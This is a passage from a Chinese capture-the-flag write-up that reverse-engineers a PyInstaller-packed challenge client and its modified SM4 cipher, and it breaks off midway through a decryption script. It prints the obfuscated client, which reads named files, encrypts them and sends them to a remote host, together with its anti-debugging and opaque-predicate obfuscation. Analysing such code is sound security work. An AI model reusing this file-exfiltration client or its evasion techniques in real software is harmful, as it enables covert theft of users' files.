前言
我们是大连理工大学3队,位列东北赛区第13名。感谢队友们的通力合作,以下为汇总的WriteUp。
Re3
首先下载附件,分析特征发现是PyInstaller打包,先解包:
python
python pyinstxtractor.py client
得到client.pyc和一个重要的动态库crypt_core.so,接下来反编译pyc:
python
import base64
import sys
import os
import json
import socket
import hashlib
import crypt_core
import builtins
def _oe(data: str, k1: int, k2: int, rn: int) -> str:
raw = base64.b85decode(data.encode())
stage1 = []
key_cycle = (k1, k2, rn)
for index, value in enumerate(raw):
key = key_cycle[index % 3]
stage1.append(value ^ (key if key else 0))
text = bytes(stage1).decode()
out = []
for ch in text:
if ch.isalpha():
base = ord("A") if ch.isupper() else ord("a")
out.append(chr((ord(ch) - base - rn) % 26 + base))
elif ch.isdigit():
out.append(str((int(ch) - rn) % 10))
else:
out.append(ch)
return "".join(out)
_globs = dict(__name__='__main__', __file__=__file__, __package__=None, _oe=_oe)
for _k in dir(builtins):
if not _k.startswith('_'):
_globs[_k] = getattr(builtins, _k)
_globs['base64'] = base64
_globs['sys'] = sys
_globs['os'] = os
_globs['json'] = json
_globs['socket'] = socket
_globs['hashlib'] = hashlib
_globs['crypt_core'] = crypt_core
def _obf_check():
if hasattr(sys, 'gettrace'):
_tr = sys.gettrace()
if _tr is not None:
return False
return True
def _obf_exec(_code):
if not _obf_check():
return None
else:
exec(compile, _code, chr(60) | chr(111) | chr(98) | chr(102) | chr(101) | chr(120) | chr(99))
_1667 = 'UurNQJs@mhZDM3$Iv^-BFd$waF)}tOAS)m!H8L<DB_J|3DGFa|F(5r4Y+-F;WMMiWC^0oSAYLFbI5a6BD<CL1GB6+|AT=~83SVk6AUz;#VQpe$VLBivGdCb!ATlW+D<CK~I5!|AATl*63SVk7AUz;#VQpe$VLBivH!>hzATcpADIhB#C^R=TASEC(FewUOYBV4{AZ%f6Vq{@DASf|6Gaz0dI5H_9D<CK`H8&t7AU8893SVk9AUz;#VQpe$VLBivF)=qFULZ0sGbtb|ASg34F(4%%H8d#-UurfWJs@mhZDM3$Iv^-AG%_GwAT%~9AS)m!I5ajOB_K01DGFa|Hy}MAY+-F;WMMiWC^9i1ULY|vI4K}2ASg64H6SG*H#aE?UurlYJs@mhZDM3$Iv^-9GdUn$ATcvEDIhB#C^RxRASEC&F)0dPYB?Z1AZ%f6Vq{@DASg04H6UIfHZmz7D<CK|F*6_~AUHKC3SVk5Fd#i3Y+-F;WMMiWC^9rMAYLFgH7Ot~ASgIFG9V=&GcYL%UurQiAUz;#VQpe$VLBivGBO}uAT>BCAS)m!H#9IHB_K69DGFa|F)|=MAZ%f6Vq{@DASf|2IUrsjGBh|TAS)m!H#adLB_KC6DGFa|F*6`NAZ%f6Vq{@DASg01IUrsjGBYqKAS)m!GBz?GB_K94DGFa|F*G1OAZ%f6Vq{@DASf|6AYLFiIVm73ASgC6G9V=&GdL*<UurQmAUz;#VQpe$VLBivGBP<JULZ0sH7Ot~ASg37IUpq<GBqg*UurQnAUz;#VQpe$VLBivF)=Y9ULZ3wDIhB#C^R!OASEC*FewUOYB4t;Js@mhZDM3$Iv^-CF(6(bF*GtMAS)m!H8C<EB_J{}DGCZ>Y+-YAAYV^nW-~W8HaZF*ARr)QWo95>UukY>bYEX6b7gF1DLM)uARr(hARr)fWo%|HUv?lpAU8EJ3LqdLAY^4`AYW}Lb7gF1DLM)uARr(hARr)eWps6NZXk1IY-TQBb|5MsH3|wNAun}vaxY?OZZBnSb|7$hbZBpGGYSf6ZE$aLbRctYV{2t}3TbU{Z*p`XYIARH3TbU{Z*p`XZ*vN1ZE$aLbRctia|&r~aBp&SAZTH8Xl!X>3TbU{Z*p`XbZKp63JP<1b1raUbZ9PVZgXXFbSN+^Aa8RnaA9<4E@WwPZeeX@C~tEvaA9<4E@WwPZeeX@C~tEvaA9<4E@5JGaA9<4C|_S@X>4U*UnwamDGF(AaBp&SAY*cQaCBc|Z*pY{3JPOvVRLgJLv?d>Z*4+hb7eL(Itm~lARt3kQ&dk)UqMVzNI^nHR3JSdUvFh7A~-xeLQHRKF;#L>eP2>OGB<ftZEbTgWNKAOCVMD1OmlldaBVwdKxIl%Sz19Ya#TolG;nWyVRtn(IZHxeRd+vYNN_|#R%d8(S0hVOaw04sI5R9DGBGqPATc*73LqdLAX8L9PDDXcL|;KnP)I>SMN}X?ASenTARr(hARr)LZ)GSVFlK6dWM)cFUqeqpKV>O5ZZuv^Z$2hIGgMw)S5z@VSyx4IM^tWFSSd3}Hb#7YLwa?2BSBeYa87U}N-au$VmnqvYd1kzbXIg&HDh{xA}k;{Gb|u7F*Gb7F*hj+ARr(hDGDGUARt9fLr+9SUsORtOhq6)AaitbE^T3JWpr|3ZgVJ8R6$NeK~h9tK}=9cK|)1TEFeQwQ&dk)UqMVzNI^nHR4ED|ARr(_MMF<SMPF1wLQF*<Js@**axQIQYh`qDVQzCMLse5$PfcGzOi)NcLPb<8AX8L9PDDXcL|;KnP)I>SMN}yY3LqdLAV6bmVRLhBWprq7WC|c4ARuIAW*}r`V{c?-C}V7MEFffIbYVImb98bkAT2&1VtI6Bb2<tjARr(hARr)VZE$aLbRc43b7eL(3JM?~ARr(hARu#eWM5)7G$1`7WMOn+E_8BXZgXs5bY&=GY;!I|MMF<SMPF1wLQF*|3LqdLARr(hAaZ4Nb#iVXVqtS-HZ(3`HZ){qV{c?-D06gVUt%^iDGCY-Q$<o%MN(f#Pg7JNJs=_?3R6W=Rz*@@P)|}+AUz;CIXO8BOGQ~<LN+uYJs@9iWhf#;H%&oxaAadObW%c1AvH2<b~IOQaDGT^Wne)xPBmb3KQ(SoVp%Ipel}2gHFso2DtSFcBzjSHA$VFMEFd^DEFdy5G%O%7Hz^8BMOh#{AVYO?bZ>1!VRL0RG%jRiV{c?-C`(0IUqUuCDGEkOOhr>)R8L=1MNUK@Js?|OZ)GSVNiA@FMs`yvaWG|VL?SF8I5R9DGBGqPATc*7EFfQRWhf#-C@n%tUpzuKPa-TJI5R9DGBGqPATc*7EFfQRWhf#;Bu#iybXqw%du44zA}k;{Gb|u7F*Gb7F*hk)3JMBjWo95>Z*XC8b!A_4a&=`WDLM)uARr)LcpyC>FbW_bARuOMav)!6AZczOa$#;~WhgN)Fey3;ARr(hARr(hUw9xZJs@9cASxgzUuhsMAYW-9D<Cl`3LqdLAaZ4Nb#iVXUw9xsJs>a&3JPRpW*}d0aA9$EWnX4tY;$EODLM)uARr)LVJskDVjw*rH7p=E3LqdLAaZ4Nb#iVXC|_Y9Dj;8CDIh&PAShpAASxhVVIV6YF)0cP3S?zwAYWu<VPs!pVQgb4DLM)uARr)LWMyGwAUz;33LqdLAZBlJAYW-9X>K5LVQyz-C^axCItm~lARr(hARu34Wnp9>Js>DwWMyGwAS)nWX(=EjATc)zARr(hARr(hX=Wf_WMyGwAU+^5Ffcj_ARr(hARr(hARr(hUu0!rWFS2tUu0!rWFRUaG9W7;F$y3cARuyObairWAYWu<VPpyl3S?zwAZ2c2a(QrcUuJ1+WhiT9c{(6sd30rSEFf@fVQFr3Wq5QtAYyrRWpgPYEj}P(d30rSItm~lARu3JbYXO5AUz;33LqdLAYXE2b9HQVAUz;XZ*FA@ARr(hcW7yBWguU3bYXO5AUq&5Itm~lARr(hARuXGAYXHIVRU66Jv|^WItm~lARr(hARr(hARuXGAYX5AVR3b3UvzSHWhf~+3LqdLARr(hARr(hARr(hAYXE2b9HQVAUz;sa(QrcUt@1_WiDlIV{c?-Uu0o)VJL8HVQFr3Wq5QfAZulLTRJf|T`3A6ARr(hARr(hARr(hARr)Lb97;JWgtBuG72CdARr(hARr(hARuLIb7eXTARr(hARr(hARr(hARr(hUu0!rWM5-pY-1=X3LqdLARr(hARr(hARr(hAYXHIVRU66Js>d(ARr(hARr(hWo&6?AYXHIVRU66Jv|^XItm~lARr(hARr(hARu34WnpArV_|G#C@BgcARr(hARr(hARr)Lb97;JWgtBuG72CdARr(hARuLIX=Wf_b97;JWgtC0ATl}%ARr(hARr(hARr(hX=Wf_Z*XC8b!A^>VQh0{C@DG$ARr(hARr(hARr(hARr(hUvg!0b!>DXJs?hRZe<D}ARr(hARr(hARr)Lb97;JWgtBuGYTLeARuyObairWAYXE2b9HQV3JMBjWo96AWo~3&b7^j8Y-L|&X>4UEb8lm7EFflSY-Mg?ZDlMVaBN{|ZggdMbSXLtARr(hUvnTmATSCbARr)LV{{-rAWm;?WeOl5ARu3GY#==#PH%2y3LqdLAa`hKY-J!{b09n*H986)ARr(hARr)VW*}d4AU!=GFggk#ARr(hARr(hARr)LV{{-rAZ2c2a(QrcUuJ1+WhhHUSu7xMY+-3`bY*ySDGDGUARr(hARr(hARu3JAUz;43LqdLARr(hAZ2W6W*}d4AU!=GF**t$ARr(hARr(hARr)LaBLtwAbVeLWhf#-CO$Gsc64=MDIzQ&I5R9DGBGqPATc*7Iv{3gY-Mg?ZDlMVUvFh7B10oBW>#=*J7X<nZA2n0AUHEDATlvDEFdvADLNouV{|TPWq2qleF`8TARr(hARr(hARu3JAUz;53LqdLARr(hAZ2W6W*}d4AU!=GGCB$%ARr(hARr(hARr)VW*}d0aA9$EWnXl1b!8|iItm~lARr(hARr(hARr(hARu#ZV{0yRWo~3)Y-}iMb8l`gWOZ$Db0}YMY$+~fZewp`Whh^7Whf#`W>9u?J9{E5AUHEDATlvDEFdvADJdW;AYvk1ZXziPARr(hARr(hARr(hARr(hUvnTmAT$afARr(hARr(hARr)RY;$Eg3LqdLARr(hARr(hARr(hAYWu<VPs!pVQgb4DGDGUARr(hARr(hARr(hARu3JAUz;63LqdLARr(hAZ2W6W*}d4AU!=GGdc<&ARr(hARr(hARr)LWMyGwUt?ixV<;&KARr(hARr(hARr(hUvnTmAT$afARr(hARr)RY-wg7UvnTmJs>nX3LqdLARr(hARr(hAZcbGZf|rTUvF?>adl;1W?^h|Whf~+3LqdLARr(hARr(hARr(hAarSMWiE4UWo2+EFfK7E3LqdLARr(hARr(hAYXGJJs>p-3JPRpW*}d7WpZg|d0%5~WGG{8WGOldARr(hUvqR}bY&ntATclsARr(hUua=-XkT_=Y#==#PH%2y3LqdLAYXQ2Y-wa5Js?J5Y;$D_3LqdLAa`hKY-J!{b97;JWgt8tH845~ARr(hARr(hX=Wf_b97;JWgtC0ATcmH3LqdLARr(hARr(hAZcbGY-MgJV{K$9AU+^4Itm~lARr(hARr(hARr(hARu3JbYXO5AUz;5FbW_bARr(hARr(hARuLIb7eXTARr(hARr(hARr(hARr(hUvqR}bY&ntAT&7&ARr(hARr(hWo&6?AYXHIVRU66Jv|^YFggk#ARr(hARr(hARr)LXkl|`Uv^<^AUz;xVRL9~X<{yIWHl&bZDcNGZewp`Whf~rE@)+VWNBw*b95*v3LqdLARr(hARr(hAYXHIVRU66Js>kM3LqdLARr(hAZ2W6W*}d4bYXO5AU!=GGcY;|ARr(hARr(hARr(hX=Wf_Z*XC8b!A_4a&=`WDLM)uARr(hARr(hARr(hARr)Lc42I3WFS2tUua=-XkT_=Y#=>7AYX4~C?Zx@OEf)kM|E*oLU>C*b5>VuLU%k;S1?{eG;uj5Rzf>+WjruUGF2ihAUHEDATlvDEFdvADGDGUARr(hARr(hARr(hARu3JbYXO5AUz;7FbW_bARr(hARr(hARuLIb7eXTARr(hARr(hARr(hARr(hUu0!rWM5-pY-1=X3LqdLARr(hARr(hARr(hAYXHIVRU66Js>nW3LqdLARr(hAZ2W6W*}d4bYXO5AU!=GG%z{}ARr(hARr(hARr(hX=Wf_c42I3WI75UARr(hARr(hARr(hARr)Lb97;JWgtBuH82VwARr(hARr(hARr)RY;$Eg3LqdLARr(hARr(hARr(hAYXHIVRU66Js>nW3LqdLARr(hAZ2W6W*}d4bYXO5AU!=GG&wp7ARr(hARr(hARr(ha%FUNa&90-VQh0{3JM?~ARuyObairWAYXQ2Y-wZ)3JPRpW*}c@WprP2WpZ|9a$jg~b95+Sa%XcXItm~lARu3JAUz;4Ffa-rARr)LXm4|LAUz;XZ*FA@3LqdLAa`hKY-J!{b09n*GB7YY3LqdLARr(hAZcbGUvnTmJs>eKFggk#ARr(hARr(hARr)VW*}^3ZYW`LXLBhaJ|HqW3LqdLARr(hARr(hARr(hAYXGJJs>eLFbW_bARr(hARr(hARuLIb7eXTARr(hARr(hARr(hARr(hUvnTmATcs93LqdLARr(hAZ2W6W*}d4AU!=GF)=VY3LqdLARr(hARr(hAYW*2b95j*AYpQ6b6YZ93LqdLARr(hARr(hAYXGJJs>hLFbW_bARr(hARuLIX=Wf_b09rEATcs9Itm~lARr(hARr(hARuXGAYX5AVR3b3UvzSHWhf~+3LqdLARr(hARr(hARr(hAYW*2b95j*AR;0PARr(hARr(hARr(hUvnTmATls83LqdLARr(hAZ2W6W*}d4AU!=GGB7YY3LqdLARr(hARr(hAZcbGUvF?>adl;1W?^h|Whf~+3LqdLARr(hARr(hARr(hAYW*2b95j*AYX4~C?Z*Rb8US)SZF?GL`EVkAUHEDATlvDEFdvADGDGUARr(hARr(hARu3JAUz;5Ffj@WARr(ha%FUNa&91BXm4|L3JMBjWo964VQFqCDLM)uARr)Lb97;JWgtBuFbW_bARu3JZ)0m9Js?hRZe<D}ARr)LX=HdHJs>a&ARr(hUvP41Zggd2Uub1vWMy(7Js?J5Y;$D_3LqdLAa`hKY-J!{b97;JWgt8tF)%PX3LqdLARr(hAZcbGUvqR}bY&ntJs>bT3LqdLARr(hARr(hAZcbGUvF?>adl;1W?^h|Whf~+3LqdLARr(hARr(hARr(hAaHVNZgePLZ)GSVGD0$BZC^)BL2_6)A}k;{Gb|u7F*Gb7F*hkG3LqdLARr(hARr(hAYXHIVRU66Js>d(ARr(hARr(hWo&6?AYXHIVRU66Jv|^XItm~lARr(hARr(hARuXGAZ%rBD06vpE@5(Kb}1k{ATl}%ARr(hARr(hARr(hARr(hUvqR}bY&ntAT<ggARr(hARr(hARr)RY;$Eg3LqdLARr(hARr(hARr(hAYXHIVRU66Js>g)ARr(hARr(hWo&6?AYXHIVRU66Jv|^YItm~lARr(hARr(hARuXGAYXQ6a%pCHUt?`#D06vpE@5(Kc3UxBDLM)uARr(hARr(hARr(hARr)Lb97;JWgtBuGYTLeARr(hARr(hARuLIb7eXTARr(hARr(hARr(hARr(hUvqR}bY&ntAT$afARr(hARr)RY-wg7UvqR}bY&ntJs>kW3LqdLARr(hARr(hAZcbGZf|rTUvP41Zggd2Uub1vWMy(X3LqdLARr(hARr(hARr(hAaHVNZgeOjJt80~AT=;43LqdLARr(hARr(hARr(hAaHVNZgePLZ)GSVI7>HdIeKVda#LAjQCd$odp2!Td22gnI7TF6K{P`-U|v&sL^Vb!A}k;{Gb|u7F*Gb7F*hkG3LqdLARr(hARr(hARr(hAaHVNZgeOjJt80~AT=;43LqdLARr(hARr(hARr(hAYX8DX>N37WM61yVPs`;AUz;da&=`2ARr(hARr(hARr(hUvqR}bY&ntATclsARr(hARr(hWo&6?AYXHIVRU66Jv|^aItm~lARr(hARr(hARusZX>N2VBI%Tw=&!Huyqe~hpyri`=bD7&k-g-*q#`K_ARr(hARr(hARr(hUvqR}bY&ntAUQb-ARr(hARr(hWo&6?AYXHIVRU66Jv|^bItm~lARr(hARr(hARusZX>N2VBIlH-=ChUWyqa)%bZBpGAY*K4Wo~pXaCsm+V{dJ3VQyqTAX`&KQdUJ$Ur0|=R9zw|3LqdLARr(hARr(hAYXHIVRU66Js>$b3LqdLARr(hAZ2W6W*}d4bYXO5AU!=GF)%s`ARr(hARr(hARr(hbaHt*3LqdLARr(hARr(hARr(hAYXHDV{0HiAaieHYh`pUb8lm7WppTWZ)0m^bS^<gUrA0yR4gEKZ)0m^bS_g*LrY&%R8mDjO(_Z>ARr(hARr(hARr(hARr)Lb97;JWgtBuF)<1tARr(hARr(hARr)Rcw=R7bRb1|V`Xr3X>V>i3LqdLARr(hARr(hARr(hAYXHIVRU66Js>$b3LqdLARr(hAZ2W6W*}d4bYXO5AU!=GF)=y{ARr(hARr(hARr(hUubW0bRaz-UuR`>Uvp)0c4cy3Xm4|LD06vpE@5(Kb}0%VARr(hARr(hARr)Lb97;JWgtBuF)|7uARr(hARr)RY-wg7UvqR}bY&ntJs>eMItm~lARr(hARr(hARu&dc{&OpARr(hARr(hARr(hARr)Lb8lm7E@N+QZe?S1C@5cOZ*z1kAX7zBRz*@@P)|}+DJcpdARr(hARr(hARr(hARr)Lb97;JWgtBuGB64tARr(hARr(hARr)Rcw=R7bRb1|V`Xr3X>V>IVRIm5Itm~lARr(hARr(hARr(hARusZX>N2VW+Gc5T_EVcp5~6F<)pFbw59L7ntNq^A}I<WARr(hARr(hARr(hARr)Lb97;JWgtBuIXMa-ARr(hARr)RY-wg7UvqR}bY&ntJs>hLItm~lARr(hARr(hARuXGAYW-@cpy9=Y-MgJMoCOXQ(sh1UsFX+L@7E7ARr(hARr(hARr(hARr(hUvqR}bY&ntATluuARr(hARr(hARr(hWo&b0Itm~lARr(hARr(hARr(hARu3JbYXO5AUz;6FbW_bARr(hARuLIX=Wf_b97;JWgtC0ATlvJ3LqdLARr(hARr(hAYW!~VQpm~Js?I&Ohr>)R8L=1MNULpUuk4`T?!x|ARr(hARr(hARu3JbYXO5AUz;5G72CdARr(hARuLIX=Wf_b97;JWgtC0ATlyK3LqdLARr(hARr(hAZcbGZ*wkiVRUFNWq4_GbaN<QW^Q3^WhpueARr(hARr(hARr(hARr(hUvqR}bY&ntATl!wARr(hARr(hARr(hWo&b0Itm~lARr(hARr(hARr(hARu3JbYXO5AUz;5I0_&jARr(hARuLIX=Wf_b97;JWgtC0ATl#L3LqdLARr(hARr(hAa`kWXdrKJWo{^6W^Q3^Wh@{fa$+JWAYpSLUuHTAARr(hARr(hARr(hARr(hUu0o)VIVyqUuG_HWnp9}DGDGUARr(hARr(hARu3JbYXO5AUz;5GzuUfARr(hARuLIX=Wf_b97;JWgtC0ATl&M3LqdLARr(hARr(hAZcbGUvF?>adl;1baHiNC@DG$ARr(hARr(hARr(hARr(haB^vGbSP#bTPj^3<&Tl+fPv<ghvd7qA}I<WARr(hARr(hARr)Lb97;JWgtBuGBpYyARr(hARr)RY-wg7UvqR}bY&ntJs>hQItm~lARr(hARr(hARuXGAZ~ATAYX5AVR3b3UuI!!b7d$gItm~lARr(hARr(hARr(hARu#PZe(9`X>Mn1WnX4#Y-K24b8lm7EFfQIZeeX@EFfQGVRT_B3LqdLARr(hARr(hAYXHIVRU66Js>hR3LqdLARr(hAZ2W6W*}d4bYXO5AU!=GGB!F2ARr(hARr(hARr(hUuk4`AS*o}F$y3cARr(hARr(hARu3JbYXO5AUz;5FbW_bARr(hARuLIX=Wf_b97;JWgtC0ATl^Q3LqdLARr(hARr(hAaHVNZgePSB3mt8Am)~b<h!=yxQ*qlnB|<PA}I<WARr(hARr(hARr)Lb97;JWgtBuGC2w$ARr(hARr)RY-wg7UvqR}bY&ntJs>hUItm~lARr(hARr(hARu39WOyJeJs>d(ARr(hARr(hARr(hUvqR}bY&ntATlrtARr(hARr(hWo&6?AYXHIVRU66Jv|^ZFggk#ARr(hARr(hARr)VW*}d0aA9$EWnXl1b!8|iItm~lARr(hARr(hARr(hARu&UZDlTVY-MF|C@?NEDGDGUARr(hARr(hARu3JbYXO5AUz;6F$y3cARr(hARuLIX=Wf_b97;JWgtC0ATu#K3LqdLARr(hARr(hAZcbGUvqC`YdQ)bARr(hARr(hARr(hARr)Lb8lm7E@NzOb7d$g3LqdLARr(hARr(hAYXHIVRU66Js>$b3LqdLARr(hAZ2W6W*}d4bYXO5AU!=GIXOBCARr(hARr(hARr(hVsd3+YYGYqX=Wf_Uv6P-WnW()Jv|^_Z)GSVG%{y7X>?&qK0_ibAUHEDATlvDEFdvADLM)uARr)LWMyGwUt?ixV<;&KARr(hX=Wf_Z*XC8b!A_4a&=`WDLM)uARr(hARr)ZVQFqCDGDGUARuLIb7eXTARr(hARr(hUu0!rWM5-pY-1=X3I'
_obf_exec(base64.b85decode(_1667).decode())
很显然,后面这一长串是一段混淆后的代码,按照base85解密,得到:
python
_j0 = lambda: (30 ^ 126) + (520 % 26)
_j1 = lambda: (158 ^ 184) + (820 % 54)
_j2 = lambda: (37 ^ 2) + (687 % 25)
_j3 = lambda: (72 ^ 112) + (474 % 30)
_j4 = lambda: (173 ^ 82) + (257 % 73)
_j5 = lambda: (117 ^ 203) + (331 % 54)
_j6 = lambda: (242 ^ 46) + (846 % 33)
_j7 = lambda: (21 ^ 148) + (425 % 77)
_j8 = lambda: (139 ^ 134) + (427 % 21)
_j9 = lambda: (245 ^ 62) + (413 % 85)
_j10 = lambda: (242 ^ 65) + (892 % 30)
_j11 = lambda: (22 ^ 58) + (740 % 59)
_j12 = lambda: (139 ^ 248) + (771 % 74)
_j13 = lambda: (219 ^ 230) + (262 % 63)
_j14 = lambda: (17 ^ 89) + (622 % 38)
_j15 = lambda: (229 ^ 205) + (369 % 25)
_j16 = lambda: (111 ^ 33) + (433 % 50)
_j17 = lambda: (41 ^ 142) + (512 % 21)
class _Obf3776:
def __init__(self):
self._v = 751
def _m(self):
return self._v * 5
import socket
import json
import os
import sys
import hashlib
import time
sys.path.insert(0, os.path.dirname(os.path.dirname(os.path.abspath(__file__))))
import crypt_core
class CustomBase64:
CUSTOM_ALPHABET = _oe("8<<BLok1UrR}_R>27yTmms1djUI&{(7Ls{Apm;c@eJQYZA-rTHu4po}aw559KBaUw?kHpDBVghrW#KRr", 83, 214, 17)
STANDARD_ALPHABET = (
_oe("0fj{dfJO_COA?e)7n4^Mo>&>3T^^WT1BYWEqGTnZX)3I6F|~Czuy#AYdpNp$J-J~b;VEk7AYtVtX5cz}", 83, 214, 17)
)
ENCODE_TABLE = str.maketrans(STANDARD_ALPHABET, CUSTOM_ALPHABET)
DECODE_TABLE = str.maketrans(CUSTOM_ALPHABET, STANDARD_ALPHABET)
@classmethod
def decode(cls, data: str) -> bytes:
import base64
std_b64 = data.translate(cls.DECODE_TABLE)
return base64.b64decode(std_b64)
SERVER_HOST = ""
SERVER_PORT = 9999
KEY_B64 = _oe("C7MAupdc5tRBM!52kv4Wmp~Hle`A4N5`t?5nObY+L~6Pz5wdF*y=E$zQv!xZ", 83, 214, 17)
KEY = CustomBase64.decode(KEY_B64)
FILES_TO_SEND = [_oe("I-p}FvS)q0emD", 83, 214, 17), _oe("B(-BJ_<B6O", 83, 214, 17), _oe("C$MxRtZ99{emD", 83, 214, 17)]
def _opaque_true():
_x = 0
for _i in range(100):
_x += _i * (_i - _i + 1)
return _x >= 0
def _opaque_false():
_a, _b = 5, 7
return (_a * _b) == (_b * _a + 1)
def _dead_calc():
_dead = 0
for _i in range(50):
_dead = (_dead + _i) % 17
if _dead > 100:
_dead = _dead * 2 + 1
return _dead
def encrypt_file(key: bytes, plaintext: bytes) -> bytes:
_state = 0
_result = None
while _state < 3:
if _state == 0:
if _opaque_true():
_result = crypt_core.encode_data(plaintext, key[:16])
_state = 2
else:
_dead_calc()
_state = 1
elif _state == 1:
_dead_calc()
_state = 2
elif _state == 2:
if _opaque_false():
_result = None
_state = 3
return _result
def send_single_file(sock, filename, plaintext):
_s = 0
_ct = None
_pl = None
while _s < 5:
if _s == 0:
_ct = encrypt_file(KEY, plaintext)
_s = 1
elif _s == 1:
_pl = {_oe("B&>2Jvtu`)", 83, 214, 17): filename, _oe("C#-fVpm;c-emD", 83, 214, 17): _ct.hex()}
_s = 2
elif _s == 2:
if _opaque_true():
sock.sendall(json.dumps(_pl).encode(_oe("KfPvt;{", 83, 214, 17)) + b"\n")
_s = 4
else:
_dead_calc()
_s = 3
elif _s == 3:
_dead_calc()
_s = 4
elif _s == 4:
if not _opaque_false():
time.sleep(0.1)
_s = 5
def _verify_cmd(cmd):
_state = 10
_hash_val = None
_valid = False
while _state < 50:
if _state == 10:
if len(cmd) > 0:
_state = 20
else:
_state = 49
elif _state == 20:
_hash_val = hashlib.md5(cmd.encode()).hexdigest()
_state = 30
elif _state == 30:
if _opaque_true():
_valid = _hash_val == _oe("VWK4=qGuqYBxK?sVWlBw<RW0^B4q9&VB;re<0L2U", 83, 214, 17)
_state = 40
else:
_dead_calc()
_state = 49
elif _state == 40:
if _valid:
_state = 50
else:
_state = 49
elif _state == 49:
return False
return _valid
def _get_server_host(args):
_s = 100
_host = None
while _s < 200:
if _s == 100:
if len(args) > 2:
_s = 110
else:
_s = 120
elif _s == 110:
_host = args[2]
_s = 200
elif _s == 120:
if _opaque_true():
_host = ""
_s = 200
elif _s == 200:
if _opaque_false():
_host = _oe("Ywsm};Xh>fDF", 83, 214, 17)
_s = 201
return _host
def main():
_state = 0
_sock = None
_idx = 0
_printed_header = False
while _state < 100:
if _state == 0:
if _opaque_false():
print(_oe("2B2dm_GLArX8", 83, 214, 17))
_state = 1
elif _state == 1:
if len(sys.argv) < 2:
_state = 5
else:
_state = 2
elif _state == 2:
if _verify_cmd(sys.argv[1]):
_state = 3
else:
_state = 4
elif _state == 3:
if not _printed_header:
print("=" * 50)
print(_oe("8K7l9zh`rSYcQZO7{6mSyk;f8F$cA4C9`^SyD5F)", 83, 214, 17))
print("=" * 50)
_printed_header = True
_state = 10
elif _state == 4:
print("????????")
_state = 99
elif _state == 5:
print("????????python client.py <command> [SERVER_HOST]")
_state = 99
elif _state == 10:
try:
_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
_state = 11
except Exception:
_state = 99
elif _state == 11:
_host = _get_server_host(sys.argv)
_state = 12
elif _state == 12:
try:
_sock.connect((_host, SERVER_PORT))
_state = 20
except Exception as e:
print(f"[!]????????{e}")
_state = 99
elif _state == 20:
if _idx < len(FILES_TO_SEND):
_state = 21
else:
_state = 30
elif _state == 21:
_fname = FILES_TO_SEND[_idx]
_state = 22
elif _state == 22:
if os.path.exists(_fname):
_state = 23
else:
_state = 28
elif _state == 23:
with open(_fname, "rb") as _f:
_data = _f.read()
_state = 24
elif _state == 24:
if _opaque_true():
print(f"[*]????????")
_state = 25
elif _state == 25:
if not _opaque_false():
send_single_file(_sock, _fname, _data)
_state = 26
elif _state == 26:
_idx += 1
_state = 20
elif _state == 28:
print(f"[-]????????")
_state = 29
elif _state == 29:
_idx += 1
_state = 20
elif _state == 30:
if _opaque_true():
time.sleep(0.2)
_state = 31
elif _state == 31:
if _sock:
_sock.close()
_state = 99
elif _state == 99:
break
if __name__ == _oe("42g9itaJ>C", 83, 214, 17):
_dead_calc()
if _opaque_true():
main()
else:
_dead_calc()
注意:此处由于由于反编译时编码问题导致中文乱码
可见重点在于通过_oe函数实现了一个自定义表的base64,加密了密码,尝试还原:
python
import base64
def _oe(data, k1, k2, rn):
raw = base64.b85decode(data.encode())
stage1 = []
key_cycle = (k1, k2, rn)
for index, value in enumerate(raw):
key = key_cycle[index % 3]
stage1.append(value ^ (key if key else 0))
text = bytes(stage1).decode()
out = []
for ch in text:
if ch.isalpha():
base = ord('A') if ch.isupper() else ord('a')
out.append(chr((ord(ch) - base - rn) % 26 + base))
elif ch.isdigit():
out.append(str((int(ch) - rn) % 10))
else:
out.append(ch)
return ''.join(out)
CUSTOM_ALPHABET = _oe("8<<BLok1UrR}_R>27yTmms1djUI&{(7Ls{Apm;c@eJQYZA-rTHu4po}aw559KBaUw?kHpDBVghrW#KRr", 83, 214, 17)
STANDARD_ALPHABET = _oe("0fj{dfJO_COA?e)7n4^Mo>&>3T^^WT1BYWEqGTnZX)3I6F|~Czuy#AYdpNp$J-J~b;VEk7AYtVtX5cz}", 83, 214, 17)
print('CUSTOM ALPHABET:', repr(CUSTOM_ALPHABET))
print('STANDARD ALPHABET:', repr(STANDARD_ALPHABET))
KEY_B64_enc = _oe("C7MAupdc5tRBM!52kv4Wmp~Hle`A4N5`t?5nObY+L~6Pz5wdF*y=E$zQv!xZ", 83, 214, 17)
print('KEY_B64:', repr(KEY_B64_enc))
DECODE_TABLE = str.maketrans(CUSTOM_ALPHABET, STANDARD_ALPHABET)
std_b64 = KEY_B64_enc.translate(DECODE_TABLE)
print('std_b64:', repr(std_b64))
key = base64.b64decode(std_b64)
print('KEY:', repr(key))
print('KEY len:', len(key))
print('KEY[:16]:', repr(key[:16]))
得到key是:
CUSTOM ALPHABET:
STANDARD ALPHABET:
KEY_B64:
std_b64:
KEY: b
KEY len: 36
KEY[:16]: b
接下来,需要探查crypt_core.so的具体加密流程。通过gdb动态调试的方式来获得:
break dlopen
- 当
dlopen参数包含crypt_core.so:
- 取
dlopen返回的link_map;
- 读取模块基址;
tbreak *(base + 0x7718)(打包点)
输入数据进行匹配后,最终确认crypt_core.so的加密流程如下:
- 使用自定义SBOX(位于
0xAC10偏移)
- 线性层:
T(x) = f(x) ^ rol2 ^ rol10 ^ rol18 ^ rol24
- 轮数:24轮
- 轮密钥(已动态实证):
text
ADD81F57 A6101AB9 482B12BE FABBCA76
D08160F3 2BB631A6 6E559D7D 2C49EF36
AC5F076F BD67ABA5 9A2EF720 BBF90631
B66ACF89 D0DD5629 C08BBEA8 CA33FEF1
F9900F39 8D4C4FC0 8F9683A6 C1F74538
ECBCE7AA F186C1E9 05F19905 66F2F5FC
加密输出顺序采用X27|X26|X25|X24(每字big-endian拼接),解密则使用逆序轮密钥。本质上是一个魔改的SM4,24轮加密。接着写出解密脚本:
python
import json
from pathlib import Path
BASE = Path(__file__).resolve().parent
SBOX = list((BASE / 'client_extracted/crypt_core.so').read_bytes()[0xAC10:0xAD10])
RK = [
0xADD81F57, 0xA6101AB9, 0x482B12BE, 0xFABBCA76,
0xD08160F3, 0x2BB631A6, 0x6E559D7D, 0x2C49EF36,
0xAC5F076F, 0xBD67ABA5, 0x9A2EF720, 0xBBF90631,
0xB66ACF89, 0xD0DD5629, 0xC08BBEA8, 0xCA33FEF1,
0xF9900F39, 0x8D4C4FC0, 0x8F9683A6, 0xC1F74538,
